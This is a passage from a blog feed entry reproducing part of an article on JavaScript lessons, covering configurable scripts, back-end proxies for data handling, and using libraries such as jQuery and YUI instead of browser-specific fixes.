&lt;li&gt;Return the object as a public property so that people can override it.&lt;/li&gt;
&lt;/ul&gt;Most of the time you can do this as a last step in the coding process. I&#39;ve put together an example in &quot;&lt;a href=&quot;http://www.wait-till-i.com/2008/02/07/five-things-to-do-to-a-script-before-handing-it-over-to-the-next-developer/&quot;&gt;Five things to do to a script before handing it over to the next developer&lt;/a&gt;.&quot;&lt;br /&gt;
In essence, you want to make it easy for people to use your code and  alter it to their needs. If you do that, you are much less likely to get  confusing emails from people who complain about your scripts and refer  to changes that someone else actually did.&lt;br /&gt;
&lt;h3&gt;Interacting With The Back End&lt;/h3&gt;One of the main things I learned from all my years with JavaScript is  that it is a great language with which to make interactive interfaces,  but when it comes to crunching numbers and accessing data sources, it  can be daunting.&lt;br /&gt;
Originally, I learned JavaScript to replace Perl because I was sick of copying things to a &lt;code&gt;cgi-bin&lt;/code&gt;  folder in order to make it work. Later on, I learned that making a  back-end language do the main data churning for me, instead of trying to  do all in JavaScript, makes more sense with regard to security and  language.&lt;br /&gt;
If I access a Web service, I could get JSON-P as the returned format  and do a lot of data conversion on the client, but why should I when I  have a server that has a richer way of converting data and that can  return the data as JSON or HTML… and cache it for me to boot?&lt;br /&gt;
So, if you want to use AJAX, learn about HTTP and about writing your  own caching and conversion proxy. You will save a lot of time and nerves  in the long run.&lt;br /&gt;
&lt;h3&gt;Browser-Specific Code Is A Waste Of Time. Use Libraries!&lt;/h3&gt;When I started Web development, the battle between using &lt;code&gt;document.all&lt;/code&gt; and using &lt;code&gt;document.layers&lt;/code&gt; as the main way to access the document was still raging. I chose &lt;code&gt;document.layers&lt;/code&gt; because I liked the idea of any layer being its own document (and I had written more than enough &lt;code&gt;document.write&lt;/code&gt; solutions to last a lifetime). The layer model failed, but so did &lt;code&gt;document.all&lt;/code&gt;.  When Netscape 6 went all out supporting only the W3C DOM model, I loved  it, but end users didn&#39;t care. End users just saw that this browser  didn&#39;t show the majority of the Internets correctly (although it  did)—the code we produced was what was wrong. We built short-sighted  code that supported a state-of-the-art environment, and the funny thing  about the state of the art is that it is constantly changing.&lt;br /&gt;
I&#39;ve wasted quite some time learning the ins and outs of all of the  browsers and working around their issues. Doing this back then secured  my career and ensured that I had a great job. But we shouldn&#39;t have to  go through this trial by fire any longer.&lt;br /&gt;
Libraries such as YUI, jQuery and Dojo are here to help us with this.  They take on the problems of browsers by abstracting the pains of poor  implementation, inconsistencies and flat-out bugs, and relieve us of the  chore. Unless you want to beta test a certain browser because you&#39;re a  big fan, don&#39;t fix browser issues in your JavaScript solutions, because  you are unlikely to ever update the code to remove this fix. All you  would be doing is adding to the already massive pile of outdated code on  the Web.&lt;br /&gt;
That said, relying solely on libraries for your core skill is  short-sighted. Read up on JavaScript, watch some good videos and  tutorials on it, and understand the language. (Tip: closures are God&#39;s  gift to the JavaScript developer.) Libraries will help you build things  quickly, but if you assign a lot of events and effects and need to add a  class to every HTML element in the document, then you are doing it  wrong.&lt;br /&gt;
&lt;h3&gt;Resources&lt;/h3&gt;In addition to the resources mentioned in this article, also check out the following to learn more about JavaScript itself:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://yuiblog.com/crockford/&quot;&gt;Douglas Crockford on JavaScript&lt;/a&gt;&lt;br /&gt;
An in-depth video Lecture series.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://dev.opera.com/articles/wsc/&quot;&gt;The Opera Web Standards Curriculum&lt;/a&gt;&lt;br /&gt;
With a detailed section on JavaScript.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/2119369262832611647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/seven-javascript-things-i-wish-i-knew.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2119369262832611647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2119369262832611647'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/seven-javascript-things-i-wish-i-knew.html' title='Seven JavaScript Things I Wish I Knew Much Earlier In My Career'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>